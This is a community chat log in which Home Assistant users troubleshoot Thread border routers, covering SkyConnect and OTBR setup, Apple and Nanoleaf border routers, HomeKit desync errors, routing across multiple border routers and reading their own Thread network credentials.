nanoleaf app is even showing home assistant as an external border router within the apple network (wish we could do it the other way around but well) I think the devs will probably work on some sort of management UI for that at some point

[fickle mantle]

BTW, was the NanoLeaf App the iOS version?

[quiet stirrup]

Yep

Android has had that feature for a while, iOS just got it like a day ago

[vapid shell]

Note that if you do this you might be getting rid of any benefit of having multiple BRs

Need to check route tables of someone that had done it

But possible the sky connect routes will be “dev” routes for wpan0 and your apple routes will be “via” routes on the default gateway. I think dev routes always have priority because they are on link

It doesn’t matter if the sky connect is stable, as you only really need one TBR. But it might not be what you think is happening

Not that routing with multiple HomePods and no sky connect is much better

[vapid shell]

Of course it’s thread so how that manifests in reality will be weird. If you had one HomePod out of several that was barely on the mesh but that Linux was insisting on trying to use, this might force all traffic to go through one BR which just happens to be on mesh, in which case you’d “fix” your mesh by doing this (in reality of course you’d be papering over problems).

[flint hamlet]

Afaik with current scenario if you have several TBRs (in my case I have ATV, HA SkyConnect and two Echo 4th gens) they dont roam devices between them right ?

At least thats the experience I had so far. My ATV got disconnected once and I my nanoleafs never got moved to the skyconnect or amazon echos

[vapid shell]

If they are all on the same network with the correct key, then any TBR should be able to squirt packets from your lan into the mesh

And the replies probably got to the nearest TBR

Least number of mesh hops, depending on how well it’s optimised

In general it’s not like WiFi where your devices are connected to a TBR

The leader might not even be a Br

It could be a light bulb

[digital salmon]

Ok, but does an Apple Home still work when the only Apple Home Hub (AppleTV) is turned off? Who handles the layer above the thread layer?

[quiet stirrup]

Assuming you have another border router in the same network, whoever is assigned the “leader” next

[vapid shell]

Any mains powered thread device can be leader. For me it’s often not a BR, but an eve outlet.

[vapid shell]

The layer above thread? Not sure what you mean. In apples case it’s possible that they run a part of the home.app architecture on your home pod rather than on your phone. That enables them to run automations when you are out, access things remotely, etc. it also means instead of querying 100 light bulbs when you open the app on your phone, your HomePod can push a summary of every entity in your home. Sort of like they made their own home assistant that just speaks homekit and matter and run it on the HomePod. I hope that when your apple br falls over this piece just moves to another BR. It obviously can’t run /that/ code on your SkyConnect.

In terms of HA, we probably aren’t using your “home hub” at all

Every TBR publishes its ipv6 via route to the whole VLAN. Linux chooses one of those routes at random.

It has no knowledge of the mesh when making routing decisions, it could pick the furthest TBR. It could pick the one with the weakest link to the mesh.

If you turn one off it will stop responding to icmp6 probes and eventually score lower in route selection. This happens quickly. But it’s still theoretically possible a dead BR can be selected for traffic for up to 30 mins after it goes offline

[quiet stirrup]

Well, can only hope future versions of thread improves on it

Would be nice if Apple was more transparent about versioning requirements

But now vendors are more transparent (eve and more recently Nanoleaf), about the specs of a thread network, it’s become a lot easier to debug

[gentle mica]

Hi. About a month or so ago, I setup a SkyConnect on my RPi4 HA Setup. I enabled multiprotocol on it (I only am using it for Thread, I have another chip for z-wave/zigbee) and I paired about 14 eve motionblind shades to it and one eve power outlet (just for mesh improvement). Every few days or sometimes twice in a day, Homekit communication stops working and the eve devices go into unknown states. All that seems to get it working again is to reboot the host. Is there something I'm overlooking to troubleshoot or fix this?

This morning I'm seeing this in my logs:

Decryption failed, desynchronized? Counter=13/21
Decryption failed, desynchronized? Counter=0/2
Decryption failed, desynchronized? Counter=12/18
Failed flailing attempts to resynchronize, self-destructing in 3, 2, 1...
Decryption failed, desynchronized? Counter=87/94

[vapid shell]

It’s unlikely you can fix it on your end

[vapid shell]

the HomeKit encryption is ratcheted

That means every message uses a new key

If you miss messages, that means you don’t know the current state of the system so can’t generate the right key

HomeKit tries to recover from some packet loss by trying some other potential keys - guessing the state it missed

This is limited because it’s an unbounded search space and it’s not free or especially fast

Hence the desynced warning

It tried X potential keys but there were sufficient packet drops (or delays) that it couldn’t find the right key.

In that situation it should terminate the connection and eventually reconnect

But doesn’t for some reason

That’s clearly a bug

The problem only happens once a week here, so debugging it is a PITA

Not that the toddler lets me have more than 10 mins to myself

If it happens to you multiple times a day and you are confident with vim and docker and can follow my instructions, I can probably get you to try extra logging to help me fix the recovery path

You might be able to make it fail less by adding more routers

I have 2 HomePods and 1 eve outlet vs 5 eve thermos

[gentle mica]

I'm not familiar with docker (and don't think I have it setup). If there are any other logs or anything that I can watch or send you to help though, please let me know.

If/when I eventually switch these over to Matter, do you think this issue will follow them or go away?

In other words, is it thread related or HomeKit related?

[vapid shell]

The recovery or lack of is definitely a homekit bug

Packet loss in the first place could be a weakness in your mesh

Or a bug in the firmware of any device along the path

[vapid shell]

If you are using HAOS you are using docker. If you are using the venv install that’s even better tho.

[quaint osprey]

HomePod got a new 17 beta update and Thread back to 1.3.0

Apple had downgraded Thread to 1.2 in early versions of iOS 17 for homepod, but now it's on 1.3.0 again

Do you guys think now Apple is finally allowing users got the Apple Border Router APIs?

Have you received any news from Apple?

[restive narwhal]

#devs_matter-archived message

[quaint osprey]

Oh! Glad to hear that

So Apple may fix it soon

Are you using the last beta to homepods? Do you think the bug continues on last beta?

[woeful iris]

@stray obsidian did a reboot fix it? I'm having the same problem.

[stray obsidian]

@woeful iris I disabled the Silicon Labs multiprotocol, rebooted, also make sure you are on AMA1 if using HA Yellow

[woeful iris]

I'm not on Yellow, I'm using SkyConnect

[still quiver]

Just updated my Nanoleaf firmware to 3.5.37

See if that improves things

[digital salmon]

Saw that there was an update:

https://www.reddit.com/r/Nanoleaf/comments/15tx19b/firmware_3537_for_essential_a19_matter/?utm_source=share&utm_medium=ios_app&utm_name=ioscss&utm_content=2&utm_term=1

I think I can do the update tomorrow. I am really interested to see how this update improves reliability.

[quiet stirrup]

If anyone reports on the usefulness of the update with matter, let us know in #matter-archived

[still quiver]

so interesting I purchased Nanoleaf Shapes light (Wifi based light), and it is showing up on the list of border routers. No idea they were Thread Border routers.

as for the firmware update...things seem to be the same

still disconnecting and connecting from time-to-time

wonder if now that Nanoleaf Shapes light is part of the border router network, if that will improve things

looking at the logs of the thread based devices, does not look like either the firmware update nor the additional nanoleaf border router has improved the connecting/disconnecting issue.

[still quiver]

Another comment is that the nanoleaf thread border router automatically added itself to my existing preferred network. So now I have a mixture (7 in total) of Google devices, skyconnect and now nanoleaf as part of a single thread Network I guess that's expected behavior that it adds itself to my preferred thread network?

[sick swan]

How did you onboard the Nanoleaf BRs?

I am guessing this is possible through the Google Thread Network credential sharing

[still quiver]

It just did it automatically

[sick swan]

As in, plug in, nothing more? Not even openinig an app or anything?

I mean you must have configured it's WiFi or something no?

[still quiver]

Yes, I used the app but just to do updates

No configuration on my part

[sick swan]

Android App?

[still quiver]

Android

[sick swan]

Yeah I am guessing that the credentials sharing happened through the app. The HA App shares the preferred Thread router with Google through Android Thread API. And I am gussing that the Nanoleaf used the same API to learn and shared it with their router. It seems that happened implicitly, somehow.

I am not aware of another sharing mechanism.

Unless, Google and Nanoleaf talk proprietary direclty, somehow 🤷‍♂️

[still quiver]

I guess I wouldn't know

https://ibb.co/xmS2JyV

This is how my thread Network looks now.

I guess it's so unexpected that there's no nanoleaf icon for it, just a blank circle 😀

I'm going to assume that the whole shapes lineup does the same thing

Specifically I purchased the shapes hexagon product

https://nanoleaf.me/en-CA/products/nanoleaf-shapes/?category=hexagons&pack=smarter-kit&size=7

[vapid shell]

I actually got the wood effect ones nearly 2 years ago to test them as a TBR. You can imagine what the firmware was like then.

Never actually got it to work, and then ended up getting a HomePod which (somewhat) worked straight away

(This was about 6 months before the thread support landed in homekit_controller)

[still quiver]

Maybe try updating your nanoleaf product probably they just recently added this I can't imagine how painful it was 6 months ago

But great on nanoleaf's part. their thread devices are mesh extenders but their Wi-Fi based devices are thread border routers

[boreal crescent]

The credential sharing dialog never mentions Thread and only asks "Allow [app name] to access your home network?" and that the devices by the app can be added to the network, so it also seems possible users won't even know it's Thread

[zealous sigil]

Anyone have a good tech article outlining how to recover from a thread border router failure? I just went through it with Z-Wave and as I consider switching future purchases to Thread I want to make sure I know what it would look like.

[zealous sigil]

Just read through this, https://www.silabs.com/documents/public/user-guides/ug103-11-fundamentals-thread.pdf looks like theoretically we could have two border routers installed at all times, and the failure of one would be transparent until it is replaced. Anyone using the integration, can you specify more than one local TTY for a thread device?

[digital salmon]

Someone on Reddit told me, that with latest firmware updates some/all of the Nanoleaf Thread Border Routers can get the preferred thread credentials via Apple API. Besides he told me, that this is now also possible for latest Eero 6 firmware.

Read the following conversation on Reddit:

https://www.reddit.com/r/HomeKit/comments/15im9fw/does_wifi_affect_thread_network/juy6fs6/?utm_source=share&utm_medium=ios_app&utm_name=ioscss&utm_content=1&utm_term=1&context=3

[digital salmon]

Yes, it’s not fixed. I still see the bulbs connecting/disconnecting.

[half bluff]

So far for me, the new matter essentials firmware (3.5.37) has made the funky disconnects on HA go away… ONLY… if i set the Multi protocol addon “Firewall OFF”. If it is left “ON”, it tends to slow down and cause disconnects.

However, what really irks me is that color changing of these bulbs is still buggy and unreliable. The bulbs are unable to request both and “ON state” and “color change state” at the same time it seems.

Hopefully this is something they fix when the next matter update is released

[uneven fractal]

anyone know if I can update nanoleaf essentials matter firmware without removing them from the HA thread network?

[vapid shell]

You need an add on to make the dongle into a BR so even if you had multiple dongles connected with different tttys the BR addon is only going to use one

[vapid shell]

You’d normally run multiple pis or whatever each running an OTBR addon. Each of the pis would announce an ipv6 into the mesh and would be able to work standalone if the others failed

If they all failed but you had a backup of your HA instance, it can provision a new OTBR onto the same mesh

With thread the leader is any mains powered device on the mesh. Its dynamic and by election. So there’s no single point of failure.

So you’d just need to be able to get a new OTBR running with the same mesh credentials. You can dump these on the command line and back them up too.

Using apple or google BRs exclusively is still the best experience right now. I don’t know what recovery looks like with their “control plane” tho

[still quiver]

Yes you can. Just add it to the nanoleaf app and update

[still quiver]

I will try his because the update has made the lights disconnecting and connecting issue exponentially worse. One light became completely unavailable and I had to delete it and I'm trying to re-add it back

What would be worst case scenario with having the firewall off? Am I exposing some security issue here sounds like it but how serious

[half bluff]

Honestly not really sure but if it makes my connection better im running with it for now till they fix the issue

[still quiver]

I don't know if this was the issue, for the disconnected nanoleaf but soon as I deleted it from the nanoleaf app, it's now back in HA (doing its usual disconnects). Does having the nanoleaf added to the app and HA cause an issue? I only added it to the app because of the firmware update.

[clear hearth]

How were you able to get them to pair? I have had zero luck on this one 😆

[uneven fractal]

I got them to pair in HA after i deleted them from the nanoleaf app

But I don’t think i can add them back to the app

The ios HA app seems to just get rebuilds now, not a lot going on there in github

[clear hearth]

ah gotcha..
I am throwing in the towel.. 24 hours off and on of trying lol

[digital salmon]

Yes, I was in the same situation. It was not possible to pair them with HA, while they were paired with the Nanoleaf app.

But if you delete the bulbs from the Nanoleaf app, they are also deleted from Apple Home automatically.

[quiet stirrup]

Yeah, they are looking for a new iOS dev to work on it

[uneven fractal]

ah

[digital salmon]

Ok, interesting information. 😃

I also recognized, that If you do not delete the bulbs from ’iOS settings > General > Matter devices‘ before re-pairing a device to Apple Home, you get ghost a entry for every pairing procedure with Apple Home.

[quiet stirrup]

Yeah, sometimes, if the unpairing is working as it’s meant to, it should notify the apple thread network if it, but don’t think it’s working too well

[half bluff]

I have them paired with Apple Hub and Paired to HA via Apple Shared Matter Code. I am not running these on HA thread at all, only apple thread.

[still quiver]

Thanks I'm still trying to do some troubleshooting here. All I know is that three things changed in my network: I had the devices connected to nanoleaf app, the introduction of a new thread border router by nanoleaf, and the firmware update.

So far I've been able to rule out having the nanoleaf connected to the app because even after removing it from the app I still experience this poor connectivity

What I did next was unplug and plug back in the nanoleaf border router

This brought the light back to being online so it could be that the new nanoleaf router wasn't cooperating

Time will tell

[serene prawn]

@solid cypress I converted your message into a file since it's above 15 lines :+1:

[solid cypress]

Hmm, well this looks a little better.

otbr_1  | Aug 20 18:26:37 e9c9316fd9f3 otbr-agent[149]: 38d.17:02:40.752 [I] Platform------: RCP self reset successfully
otbr_1  | Aug 20 18:26:39 e9c9316fd9f3 otbr-agent[149]: 38d.17:02:42.754 [W] Platform------: Wait for response timeout
otbr_1  | Aug 20 18:26:39 e9c9316fd9f3 otbr-agent[149]: 38d.17:02:42.754 [C] Platform------: Failed to communicate with RCP - no response from RCP during initialization
otbr_1  | Aug 20 18:26:39 e9c9316fd9f3 otbr-agent[149]: 38d.17:02:42.754 [C] Platform------: This is not a bug and typically due a config error (wrong URL parameters) or bad RCP image:
otbr_1  | Aug 20 18:26:39 e9c9316fd9f3 otbr-agent[149]: 38d.17:02:42.754 [C] Platform------: - Make sure RCP is running the correct firmware
otbr_1  | Aug 20 18:26:39 e9c9316fd9f3 otbr-agent[149]: 38d.17:02:42.754 [C] Platform------: - Double check the config parameters passed as `RadioURL` input
otbr_1  | Aug 20 18:26:39 e9c9316fd9f3 otbr-agent[149]: 38d.17:02:42.754 [C] Platform------: HandleRcpTimeout() at radio_spinel_impl.hpp:2056: RadioSpinelNoResponse

[half bluff]

To be honest. I can only recommend burning it all down and restarting lol. Just do it the apple way and port it to HA. Not worth trying to deduce why it wont connect to app after deleted etc. My 2 cents.

However when you do it the apple way you can still open the Nanoleaf app and do “Setup” via that way and scan the Matter QR codes to get it linked. This will allow you to be able to update firmware if needed

[uneven fractal]

/me looks at skyconnect and wonders why I bothered

[quiet stirrup]

It has a value, what are you doing with it?

[uneven fractal]

zigbee+thread

I really didn't do my research into the state of sharing thread credentials though

never really occured to me that for example my homepad mini would become a thread gadget

busy year!

[uneven fractal]

what's the clean and proper way of removing the nanoleaf lights from HA?

[quiet stirrup]

did you add it over the nanoleaf intergration? or is it a matter/thread bulb?

[uneven fractal]

matter/thread

[digital salmon]

Go to the device in Apple Home and remove the service 4939 from ’Device settings > Connected Services’.

After that open ’Settings > Devices & Services > Matter device‘ in Home Assistant. There is a three point menu, where you can delete the device.

[quiet stirrup]

yep, but honestly you could do that in any order, sometimes removing it from HA is enough to prompt the device removal from apple homekit

[still quiver]

This seems to have solved the problem for me. Now back to the occasional 1 to 2 per hour disconnect/reconnect.

[digital salmon]

Yes, that’s exactly what I see here. Nothing changed.

[still quiver]

I can finally confirm this is the case. That the firmware did not improve it. Interestingly I can also say that even with the addition of a new border router to my thread system from the same manufacturer.

By the way as part of my troubleshooting I enabled the topology map for my thread system. And someone mentioned it before but it's not very useful I only saw seven circles which were all connected to each other but it doesn't look like it shows devices but I couldn't really tell

The seven circles I'm assuming are all my border routers and I don't see my two thread devices as child's?

[digital salmon]

I was in the same situation some time ago. I have 35 Thread devices. The topology map always displayed different amounts of devices, sometimes 5, sometimes 10, sometimes 2, sometimes 20 devices. But it never showed all devices, it didn’t have a complete view of my Thread network.

I only have Thread Border Router (latest Gen AppleTV 4K).

Here is a screenshot from my topology map:

https://imgur.com/a/Ey6l2Es

I think this is to be understood as follows:

• purple circle: Thread Leader
• turquoise circle: Thread Router
• green circle: Thread Endpoint

Correct me, if I am wrong. 😉

But I removed the Thread Border Router functionality via SkyConnect from my HA instance, because I do not know how well the HA Thread Border Router plays together with my Apple Thread Border Router, even though both are on Thread 1.3.0.

At the moment I want it stable. I do not have much free time … 😉

[vapid shell]

I still need to find someone who can test this, but as i've said before, regardless of thread version, I suspect SkyConnect will always "win" Linux routing decisions - because it (iirc) appears as a "dev wpan0" route rather than a "via ip" route. linux see's it as being on the physical same link, rather than behind a router, and this may negative parts of having multiple BR's.

[still quiver]

Thanks for this information. When looking at the topology how can I distinguish the devices? When clicking on a dot or Circle the numbers are very encrypted not sure how to identify it. In my case I have more border routers than thread devices but considering that you removed your Sky connect and I have my sky connect included in my thread Network and we're still experiencing the occasional disconnects it's not clear what advantages or disadvantages of doing that.

[digital salmon]

I read somewhere, that it is a security feature of Matter to have encrypted hostnames.

[digital salmon]

At the moment I do not have much time for testing purposes. Sorry

[quiet stirrup]

I believe so, unless you use an app like eve’s, where the Rloc is shown (Atleast for their devices). It’s almost impossible

(Rloc being the Rloc16 address in the topology view)

[still quiver]

On a positive note I do notice that my thread devices respond quicker than any other of my devices whether zigbee Z-Wave or Wi-Fi or even Bluetooth

[vapid shell]

Bluetooth is hideously slow so I would be cross if it wasn’t 😅

For me it’s about the same as zigbee. Sleepy devices on thread have a wake interval that means you can at a protocol level have to wait several seconds for them to wake up. But it’s a reasonable trade off for battery life.

I assume zigbee had similar but I don’t have many sleepy zigbee devices that I need to connect to

[still quiver]

But the BT proxies in home assistant I think have brought New Life to Bluetooth, still the slowest though

You're right it's really close to zigbee but I feel like it's slightly more snappier

[vapid shell]

Yes the proxies are amazing, and with broadcast only stuff (xiaomi) it’s pretty frigging good

[spice imp]

why can't you test it yourself?

Or what setup do you exactly want to test?

[vapid shell]

I’m not putting a SkyConnect on my prod thread network, are you mad

And I figured someone will share output of “ip route” more easily than buy me 2 HomePods to make a staging env

[spice imp]

So you want a setup with multiple homepods + a skyconnect?

[vapid shell]

Yeah

I reckon if you have that setup the SkyConnect routes win

[spice imp]

what linux version? Just the ha buildroot or something like ubuntu?

[vapid shell]

Getting rid of some but not all value of multi br

Linux version don’t matter it’s just ip routing but HAOs prob best

[spice imp]

I think i have a wireless gecko laying around somewhere, so maybe i can test it this or next week

[spice imp]

Dont some distributions have different routing options?

Or are using different software to do it

[vapid shell]

Routing decisions should be made in kernel and are unlikely to vary greatly between kernels, even less so between distros

[spice imp]

yeah okay, didn't know that

[vapid shell]

Eg if you try to access 192.168.1.7 from 192.168.1.25, what should happen is those 2 can talk directly (through switch). Your kernel won’t send it to 182.168.1.1 (your router) because it’s on the same subnet. It would be bonkers to do that.

That same routing decision might apply to wpan0 (the nic that OTBR makes)

So it will never use the external BRs while wpan0 is up

[spice imp]

Doesn't it also kind of depend on the switch? 😄

[vapid shell]

Not for routing decisions

Routing is L3

Switch is L2

[spice imp]

What if its a layer 3 switch 😛

But if my skyconnect is out of range of the network i would actually loose all connections then?

[vapid shell]

Maybe!

[spice imp]

Because right now i have a thread network with over 30 devices and the nuc its running out is not within range of it

Otherwise i might need to move it temorarily

[vapid shell]

So to complicate it more, what might happen is your receive path would be multi-br but your send path might only be through SkyConnect

[spice imp]

sounds like it would help to capture some stuff with wireshark

[vapid shell]

Yes! I’d love packet dumps of wpan0 and your network uplink. But need someone who can manage to run tcpdump on haos so I don’t ask for it out the gate.

[spice imp]

has someone gotten it to work?

Seems like i need to build the os with support for it

isn't it easier to maybe just create an otbr on a linux distro and ping some devices?

[vapid shell]

Sorry on phone, real life wins atm

When I was debugging the initial multi br problems I used haos

And I ran tcpdump in the ha container

It has alpine and apk worked

[spice imp]

great 😄

I can probably check it myself, but can you see all interfaces from within the container?

Looks like i can see all interfaces from the ssh adon

So how can i easily access the apple thread credentials?

[vapid shell]

I think the nanoleaf iOS app has them now?

Although I don’t see anything

[spice imp]

me neither

[vapid shell]

#thread-archived message

Granted I don’t have any thread devices connected that iOS can see, which might be a factor

(They are all HomeKit and only connected to HA)

(And the nanoleaf is turned off)

[spice imp]

I have matter devices in my keychain

ill try to create a demo app tomorrow, i hope i dont need any special entitlements to get access

[vapid shell]

I think one of the ha iOS devs couldn’t make the apple APIs work with the special entitlement so good luck

[spice imp]

But wasn't he trying to build an app for production?

What about the network cluster in matter? Maybe i can read that one out

[vapid shell]

No idea

I only know homekit, where the TLV structure for BRs randomly uses different endianness to matter and the thread control endpoint is completely undocumented

[spice imp]

Mhhh

if i can comission some dev board i can read it out using its cli

[vapid shell]

Yes

[digital salmon]

If you have a Nordic NRF52840 USB Dongle I can help you to get your Apple Thread network credentials.

But it is a little bit of work.

[quiet stirrup]

It’s easier if you have a Nanoleaf or eve device, connected to Apple HomeKit tbh

I’ll wait and see how the documentation is going with it all, seems to be a common thing that can be resolved in a few lines

[autumn merlin]

I have HAOS, SkyConnect (3 nanoleaf thread lightstrips) with Apple TV 4k and happy to asisst if i can... but you did say HomePods (which i dont have)

[digital salmon]

Yes, it’s definitely easier. I also see the network key in the Nanoleaf app. But where do I see it in the EVE app?

[quiet stirrup]

Hmm, it used to I belive in the beta? Who was the person offering the beta program/enrolment for the new matter update for the blinds? Might get in contact to get a contact with higher up of eve and work on it

Better than dealing with lv 1 techs

[upbeat fog]

@vapid shell you've talked about Apple enabling TREL in the past - I am now seeing trel._udp and all the HomePods/AppleTVs listed in the Discovery app - does this mean Apple has enabled this in the latest tvOS, audioOS betas?

[vapid shell]

If you see a trel._udp record coming from a HomePod, then yes it sounds like they have.

[upbeat fog]

yeah, i do. Apple HomePods and AppleTVs

[vapid shell]

very exciting development if it stays on, and should lead to much more stable meshes, as it should solve the "split mesh" problem

[upbeat fog]

I wonder if this will solve issues i've had with having too many HomePods. In the past, if I enabled more than 8-10, I started having all kinds of issues with my thread devices.

Eventually I just reduced the total number of AppleTVs to accommodate

[quiet stirrup]

google nest devices also produce a trel.udp record 🙃

[rigid axle]

I have just setup my Skyconnect and got it set for multiprotocol, but I cannot add my matter over thread Onvis devices directly to Home Assistant. I have also tried to add VIA Smartthings, and it finds my Home-assistant border router, but when I click it, is asks for a 32 character network key. I’m not sure where to find this key.
Thanks to all in advance to anyone willing to answer a probable noob question on the matter.

[spice imp]

already did it

[undone kelp]

Is there a write up or quick TLDR for this procedure? My production radio is a Yellow, but I also have a SkyConnect and several Nordic USB dongles lying out. Sounds like this is a manual procedure until the iOS HASS app uses the platform APIs to get network credentials?

[spice imp]

https://github.com/project-chip/connectedhomeip/tree/master/examples/lighting-app/nrfconnect
Build this example and flash it

Commission it into you apple ecosystem

(There is a link for the qr code in the cli of the board)

then write "ot dataset active -x" in the cli

(you should probably wait a bit after the initial comissioning so the log outputs stop)

[undone kelp]

Thanks. I'll try a little bit later. Sneaky :p

[spice imp]

maybe @digital salmon has a prebuild binary for the dongle, then you dont need to build it yourself

[digital salmon]

I can give you the files I got from @prime sky You have to flash them to the usb dongle. After that you can pair the dongle to your Apple Home. While you pair the dongle, you can read the credentials from the command line.

[half bluff]

Does HA use TREL?

[digital salmon]

Can you please look which Thread version is announced by Apple Thread Border Routers with the latest TREL updates?

Open the Discovery app, go to the _meshcop._udp. and look for tv (thread version). Is it still tv = 1.3.0?

Thanks

[spice imp]

yes

[digital salmon]

Did you also update your Apple Thread Border Router(s) to the latest beta?

At the moment I only have one AppleTV, but I am planning to buy a second one. Are there any downsides to have Multiple Thread Border Routers in combination with HA nowadays?

[spice imp]

yes, but my thread devices often dissconnect from apple home now

[digital salmon]

Uff… Let’s hope that they get it right to their release in September. How many Thread devices and how many Thread Border Router do you have?

[spice imp]

I’m this setup 12

I have another one at work with 36 devices and 2 Apple TVs

It’s rock solid

Even though the Wi-Fi at work is shit

[digital salmon]

Ok, I have 37 Thread devices (24 Matter, 13 HomeKit) with only one Apple TV. Sometimes I think it would be nice to have another AppleTV, especially when we get TREL now.

[spice imp]

im pretty sure devices still use both border routers without trel

at least out of the network

[halcyon rover]

Hey guys! I had a question about running thread. So i want to get the skyconnect dongle but, i run homeassistant OS as HA on my proxmox cluster. If i were to passthrough a USB device then that would break HA as any migrations that are supposed to happen would just not as there will be a requirement for the USB to be present on every node. So my question is this. Is it possible to run the thread addon separately in docker where i can pass the skyconnect dongle to the container. Then have it connect to the hassio os over teh network?

[spice imp]

you can do that

you could also buy an zigbee network stick

flash it with an otbr firmware

and mount it with something like ser2net

[halcyon rover]

well i already placed an order for skyconnect. Currently i have an rpi as my dockerr platform that has a zwave dongle on it

so i would just add another container on it

much easier overall to maintain HA than screwing around with kernel modules to share usb

so a followup question to my original. I would start a OpenThreadRouter docker container with sjyconnect being passed to it. Then how will hassio connect to it? just from integrations?

[solid cypress]

If you get the sky connect working in docker let me know. So far I haven't been able to get the otbr container to recognize it

[halcyon rover]

ah i see it. just needs the url for the otbr

[halcyon rover]

will do, for now it won't be coming soon.

[solid cypress]

I might have to try haos just to see if it works there or not.

[halcyon rover]

i currently have a zwave setup that is done this way. It used to be in haos but then i moved it to docker

[solid cypress]

Or maybe try a reboot. Thing is throwing tons of errors just plugging it in

[halcyon rover]

the key there would be whether the docker service has access to it or not

for example, running rootless docker might need more permissions

[solid cypress]

Well the otbr container needs to run in privileged mode with host networking i believe

[spice imp]

via an rest api

but tbh, you might as well just use an apple or google otbr

an thread otbr is more of an "wifi router"

while zigbee is the matter addon + thread otbr combined into one

[halcyon rover]

i am trying to build a private network. I do have alexa but i realllyyyy do not want another one. If i could replace that with mycroft then i would have already done it.

for zigbee i have the phillips hue bridge from wayyy back

so it is just a matter of support matter?

[spice imp]

im not sure what you mean

but right now i also think an apple otbr is more stable than the openthread border router

might change over time though

[halcyon rover]

no worries, i was just saying that i already have support for zwave and zigbee, i just need thread.

[spice imp]

yeah okay

but how big is your home?

[halcyon rover]

lol tiny

[spice imp]

yeah okay

then one otbr should be enough

[halcyon rover]

yeah

[spice imp]

Then just plug it into the rpi

with networking host

[halcyon rover]

when i move into a bigger house (if ever... thanks inflation) then i can think about tthe smart home stuff

[spice imp]

https://openthread.io/guides/border-router/docker/run

you probably need to cherry pick the changes from home assistant though

for the rest api

https://github.com/home-assistant/addons/tree/master/openthread_border_router

[halcyon rover]

i thought it uses the upstream implementation?

[spice imp]

Yeah, but look at the two patches

But you can just include the repo and build a docker compose around it

[halcyon rover]

yeah i'm looking at the diff now

i'd think only the second path is needed as the first one seems to be a add-on limitation.

and the firmware files

but this can most definitely be run as a standalone service

thanks for sharing all of this

[spice imp]

but at the cost of maintanance 😄

the repo is not made to be used outside of homeassistant

[halcyon rover]

yes that is true.

well the only real change is the support for deletion

and i could just make a github repo that has a workflow setup for applying this patch and generating the docker image

[spice imp]

you can also just build it locally

[halcyon rover]

yes i can

but i like automation.. why build it twice when you can spend 10x amount of time and then automate it.

[spice imp]

and then have a midlifecrisis because your whole setup just works and you dont know what to do with your time

[halcyon rover]

sure

but does it ever just.... work?

[spice imp]

It if you complicate it enough

Otherwise you can set it all up in kubernetes

[halcyon rover]

but then is it even... fun?

wait a sec... could i not just pull the docker image from the hub?

https://hub.docker.com/r/homeassistant/amd64-addon-otbr

then all we need to do is generate the docker run command or the docker compose file, passing in the variables it needs as specified here: https://github.com/home-assistant/addons/blob/master/openthread_border_router/config.yaml

[spice imp]

True, didn’t think of that

[halcyon rover]

this way we do not need to maintian it outside of regular updates

although i guess we still need to find out how hassio injects those options.

[spice imp]

If you don’t want to change any network settings within the otbr from HomeAssistant you can probably even just use the official container

[halcyon rover]

is that what the delete request does? delete the resource so we can add it on the network again?

[solid cypress]

Well. Rebooted my server and otbr actually started up.. Then the skyconnect takes a shit and disconnects. 😦

otbr_1  | Aug 22 22:01:05 320205ec6edd otbr-agent[149]: [INFO]-MDNS----: Received reply for service OpenThread BorderRouter #C3E3._meshcop._udp., serviceRef = 0x5638d054cd30
otbr_1  | Aug 22 22:01:05 320205ec6edd otbr-agent[149]: [INFO]-MDNS----: Successfully registered service OpenThread BorderRouter #C3E3._meshcop._udp.
otbr_1  | Aug 22 22:01:05 320205ec6edd otbr-agent[149]: [INFO]-BA------: Result of publish meshcop service OpenThread BorderRouter #C3E3._meshcop._udp.local: OK
otbr_1  | Aug 22 22:01:13 320205ec6edd kernel: [  999.438061] cp210x ttyUSB0: usb_serial_generic_read_bulk_callback - urb stopped: -32
otbr_1  | Aug 22 22:01:13 320205ec6edd kernel: [  999.438424] cp210x ttyUSB0: usb_serial_generic_read_bulk_callback - urb stopped: -32
otbr_1  | Aug 22 22:01:13 320205ec6edd kernel: [  999.547055] usb 1-1.2.3: USB disconnect, device number 7
otbr_1  | Aug 22 22:01:13 320205ec6edd kernel: [  999.547212] cp210x ttyUSB0: failed set request 0x7 status: -19
otbr_1  | Aug 22 22:01:13 320205ec6edd kernel: [  999.547286] cp210x ttyUSB0: failed set request 0x12 status: -19
otbr_1  | Aug 22 22:01:13 320205ec6edd kernel: [  999.547338] cp210x ttyUSB0: failed set request 0x0 status: -19
otbr_1  | Aug 22 22:01:13 320205ec6edd kernel: [  999.548541] cp210x ttyUSB0: cp210x converter now disconnected from ttyUSB0
otbr_1  | Aug 22 22:01:13 320205ec6edd kernel: [  999.548775] cp210x 1-1.2.3:1.0: device disconnected

[halcyon rover]

did you update the firmware?

[solid cypress]

Yeah

[spice imp]

I’m not sure, but I think just deleting a configured network

[solid cypress]

It's running the thread firmware

[halcyon rover]

I see. then yeah. no reason not to. Unless i run into the same issue as @solid cypress here

[spice imp]

Pure thread or some multi protocol?

[solid cypress]

pure thread firmware

[halcyon rover]

from the logs i can only see that for some reason the device disconnects from the machine.

when that fails is the usb still recognized by the host?

[solid cypress]

it reconnected as /dev/USB1 but now just throws 'not supported' errors until I reboot the machine again

[spice imp]

Is there no tty or acm something device?

[solid cypress]

There is, that's the zigbee stick

[halcyon rover]

that might suggest that the device, when reconnecting, does not reconnect properly as a serial device.

do you have all updates for the host?

[solid cypress]

yep

[spice imp]

Have you tried flashing the firmware again? Where did you find the firmware?

[solid cypress]

I flashed via the skyconnect chrome python tool

https://skyconnect.home-assistant.io/firmware-update/

and yeah I've flashed a ton of times now

tried all the firmwares. zigbee works fine

[spice imp]

Aren’t you using the multi protocol firmware then?

[solid cypress]

no

I tested zigbee with the zigbee firmware

then reflashed

[spice imp]

Do you have a link to the firmware? I’m thinking that if it is the multi protocol you have flashed you might need to run the multi protocol addon

Haven’t used the sky connect though

[solid cypress]

The link above

And yes I'm positive. 🙂

[spice imp]

Nvm

Found it

[solid cypress]

As mentioned I've tested all the firmwares but just can't get thread to work with it

I don't run haos so no addons

Buuut considering I manage k8s clusters for a living, a few docker containers is no big deal. 😉

[spice imp]

I just think it’s strange that you just can see the /dev/usb device

[halcyon rover]

what if you try to run haos in a vm just to see if it works

[spice imp]

And no serial device

[solid cypress]

that's one of my next steps

[halcyon rover]

you could also try a VM with OTBR install without any containerization.

see if it might be the docker service

[spice imp]

Or try the official docker addon from open thread

Might be better documented

[solid cypress]

I'm running https://hub.docker.com/r/openthread/otbr

[halcyon rover]

One thing that would be happening for sure is that when your stick disconnects it gets a new address. So the device you shared with the contianer is no longer valid.

[spice imp]

What device are you running it on?

And are you using an extension cord?

Any other usb devices?

